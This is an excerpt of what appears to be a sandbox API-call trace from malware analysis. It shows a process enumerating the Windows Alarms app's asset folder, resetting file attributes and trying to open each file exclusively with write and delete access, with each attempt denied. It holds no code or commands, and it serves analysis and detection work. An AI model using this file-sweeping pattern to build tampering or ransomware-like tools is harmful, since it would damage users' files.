	[0090.948] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.948] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.948] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.948] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsStoreLogo.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png"
	[0090.948] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.contrast-black_scale-100.png")) returned 0x20
	[0090.951] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.951] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.951] GetLastError () returned 0x5
	[0090.951] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.951] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.951] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48655cee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsStoreLogo.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.951] wcscmp (_String1="AlarmsStoreLogo.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.951] wcscmp (_String1="AlarmsStoreLogo.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.951] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d883a8
	[0090.951] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.951] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.951] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsStoreLogo.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png"
	[0090.951] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.contrast-white_scale-100.png")) returned 0x20
	[0090.952] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.952] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.952] GetLastError () returned 0x5
	[0090.952] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.952] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48655cee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsStoreLogo.scale-100.png", cAlternateFileName="")) returned 1
	[0090.952] wcscmp (_String1="AlarmsStoreLogo.scale-100.png", _String2=".") returned 1
	[0090.952] wcscmp (_String1="AlarmsStoreLogo.scale-100.png", _String2="..") returned 1
	[0090.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11c) returned 0x2d883a8
	[0090.952] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.952] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.952] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsStoreLogo.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png"
	[0090.952] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.scale-100.png")) returned 0x20
	[0090.952] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.952] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmsstorelogo.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.953] GetLastError () returned 0x5
	[0090.953] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsStoreLogo.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.953] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.953] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48655cee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsWideTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.953] wcscmp (_String1="AlarmsWideTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.953] wcscmp (_String1="AlarmsWideTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.953] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481e178
	[0090.953] wcscpy (in: _Dest=0x481e178, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.953] wcscat (in: _Dest=0x481e178, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.953] wcscat (in: _Dest=0x481e178, _Source="AlarmsWideTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png"
	[0090.953] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.contrast-black_scale-100.png")) returned 0x20
	[0090.956] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.956] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.956] GetLastError () returned 0x5
	[0090.956] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e178) returned 1
	[0090.956] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48655cee, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x48655cee, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x48655cee, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x33d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsWideTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0090.959] wcscmp (_String1="AlarmsWideTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0090.959] wcscmp (_String1="AlarmsWideTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0090.960] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481e408
	[0090.960] wcscpy (in: _Dest=0x481e408, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.960] wcscat (in: _Dest=0x481e408, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.960] wcscat (in: _Dest=0x481e408, _Source="AlarmsWideTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png"
	[0090.960] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.contrast-white_scale-100.png")) returned 0x20
	[0090.961] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.961] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.961] GetLastError () returned 0x5
	[0090.961] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.961] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e408) returned 1
	[0090.961] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4867bf4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4867bf4c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4867bf4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlarmsWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.961] wcscmp (_String1="AlarmsWideTile.scale-100.png", _String2=".") returned 1
	[0090.962] wcscmp (_String1="AlarmsWideTile.scale-100.png", _String2="..") returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x2d883a8
	[0090.962] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.962] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.962] wcscat (in: _Dest=0x2d883a8, _Source="AlarmsWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png"
	[0090.962] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.scale-100.png")) returned 0x20
	[0090.962] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.962] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\alarmswidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.962] GetLastError () returned 0x5
	[0090.962] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AlarmsWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.962] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d883a8) returned 1
	[0090.962] FindNextFileW (in: hFindFile=0x477af68, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4867bf4c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4867bf4c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4867bf4c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x63f, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopwatchLargeTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0090.962] wcscmp (_String1="StopwatchLargeTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0090.962] wcscmp (_String1="StopwatchLargeTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0090.962] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2d883a8
	[0090.962] wcscpy (in: _Dest=0x2d883a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.962] wcscat (in: _Dest=0x2d883a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.962] wcscat (in: _Dest=0x2d883a8, _Source="StopwatchLargeTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\StopwatchLargeTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\StopwatchLargeTile.contrast-black_scale-100.png"
	[0090.963] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\StopwatchLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsalarms_10.1702.333.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\stopwatchlargetile.contrast-black_scale-100.png")) 

Thread:
	id = 866
	os_tid = 0xd34

	[0082.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481bf10
	[0082.077] wcscpy (in: _Dest=0x481bf10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe"
	[0082.077] wcscat (in: _Dest=0x481bf10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\"
	[0082.077] wcscat (in: _Dest=0x481bf10, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\*"
	[0082.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47107f8
	[0082.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x479ad420, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a6cd0
	[0082.079] wcscmp (_String1=".", _String2=".") returned 0
	[0082.079] FindNextFileW (in: hFindFile=0x46a6cd0, lpFindFileData=0x47107f8 | out: lpFindFileData=0x47107f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x479ad420, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xebb94597, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xebb94597, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.079] wcscmp (_String1="..", _String2=".") returned 1
	[0082.079] wcscmp (_String1="..", _String2="..") returned 0
